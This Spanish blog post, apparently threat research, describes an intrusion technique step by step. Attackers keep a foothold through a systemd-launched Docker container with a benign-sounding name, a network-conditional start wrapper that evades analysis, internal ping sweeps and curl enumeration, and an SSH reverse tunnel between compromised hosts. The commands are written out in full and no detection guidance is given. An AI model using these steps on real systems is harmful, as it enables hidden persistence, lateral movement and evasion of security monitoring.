Living off the Land 2.5: persistencia que vive dentro de contenedores y casi nadie está mirando

Cuando empecé a investigar intrusiones recientes en infraestructuras Linux modernas, hubo algo que empezó a repetirse: no era malware clásico, no eran servicios falsos obvios, ni siquiera era el tipo de persistencia que solemos buscar en un servidor comprometido. Lo que aparecía era algo mucho más silencioso: Un contenedor y systemd arrancándolo como si fuera parte normal del sistema. Nada más.

Pero cuando empiezas a seguir el rastro completo, te das cuenta de que ese contenedor no está ahí por casualidad. Está ahí porque alguien lo puso para controlar la red interna desde dentro. Y esa combinación —systemd + contenedores + control de red interno— está empezando a verse más de lo que mucha gente imagina.

Cómo empieza realmente la persistencia

Normalmente el atacante ya tiene acceso al host. No empieza desde cero. En lugar de instalar herramientas directamente en el sistema, prepara primero el contenedor que va a usar como “punto interno”. Algo sencillo pero flexible. Por ejemplo:

mkdir sys-runtime cd sys-runtime
nano Dockerfile

Un contenedor minimalista pero útil:

FROM alpine:latest RUN apk add --no-cache bash curl iputils iproute2 WORKDIR /opt/runtime CMD ["/bin/bash"]

Se construye:

docker build -t system-runtime .

Y se crea el contenedor que luego usará systemd:

docker create --name system-runtime-helper system-runtime

Hasta aquí, esto no es persistencia. Solo es preparación. La persistencia llega cuando se conecta con systemd.

Donde entra systemd (y la técnica se vuelve sigilosa)

En lugar de scripts raros o tareas programadas, se integra el contenedor dentro del arranque del sistema. Esto es lo que hace que pase desapercibido en muchos entornos.

sudo nano /etc/systemd/system/system-network-runtime.service

Servicio:

[Unit] Description=System Network Runtime After=network-online.target docker.service Wants=network-online.target [Service] Type=simple ExecStart=/usr/bin/docker start -a system-runtime-helper ExecStop=/usr/bin/docker stop system-runtime-helper Restart=always [Install] WantedBy=multi-user.target

Luego:

sudo systemctl daemon-reload sudo systemctl enable system-network-runtime

Desde ese momento, el contenedor arranca en cada boot. En muchos servidores modernos esto no llama la atención. Porque ya hay muchos servicios lanzando contenedores.

Lo interesante no es el servicio

Es lo que ocurre dentro del contenedor. Porque el contenedor vive dentro de la red interna de la organización. Y ahí es donde empieza el control real.

Por ejemplo, algo que se ha observado en intrusiones reales es que el contenedor empiece a mapear el entorno interno.

Dentro del contenedor:

ip route ip a cat /etc/resolv.conf

Exploración rápida de red:

for i in $(seq 1 254); do ping -c1 10.10.0.$i >/dev/null 2>&1 && echo "activo: 10.10.0.$i" done

Enumeración de servicios internos:

curl http://10.10.0.5:8080

O descubrir APIs internas:

curl http://internal-api.service.local

Nada de esto necesita salir a internet, todo ocurre dentro de la red comprometida. Y eso lo hace mucho más difícil de detectar.

El detalle que lo vuelve más avanzado

En intrusiones más sofisticadas, el contenedor ni siquiera arranca siempre. Solo cuando el sistema está en el entorno correcto. Por ejemplo, usando un pequeño wrapper.

sudo nano /usr/local/bin/system-runtime-check
#!/bin/bash if ip route | grep -q "10.10."; then /usr/bin/docker start system-runtime-helper fi

Permisos:

chmod +x /usr/local/bin/system-runtime-check

Y systemd ejecuta ese script:

ExecStart=/usr/local/bin/system-runtime-check

Esto tiene un efecto curioso. Si el sistema se analiza fuera de esa red, puede parecer limpio. Pero dentro del entorno real… la persistencia aparece.

Donde esta técnica se vuelve realmente potente

El contenedor no solo observa. También puede convertirse en un nodo de comunicación dentro de la infraestructura comprometida. Por ejemplo, conectando hosts entre sí. Algo como:

ssh -N -R 8022:localhost:22 internal-node

O creando rutas internas entre sistemas comprometidos.

Esto elimina algo que los SOC detectan bastante bien: tráfico C2 hacia internet.

Aquí el control ocurre dentro de la propia red de la empresa.Y eso es mucho más difícil de distinguir del tráfico normal.

Por qué esta técnica está creciendo

Principalmente porque encaja demasiado bien con cómo funcionan hoy muchas infraestructuras. Hoy es normal ver hosts Linux con systemd, decenas de contenedores activos, mucho tráfico interno entre servicios Y clusters o microservicios. En ese contexto, un contenedor más no destaca. Y si lo lanza systemd, todavía menos.

Comentarios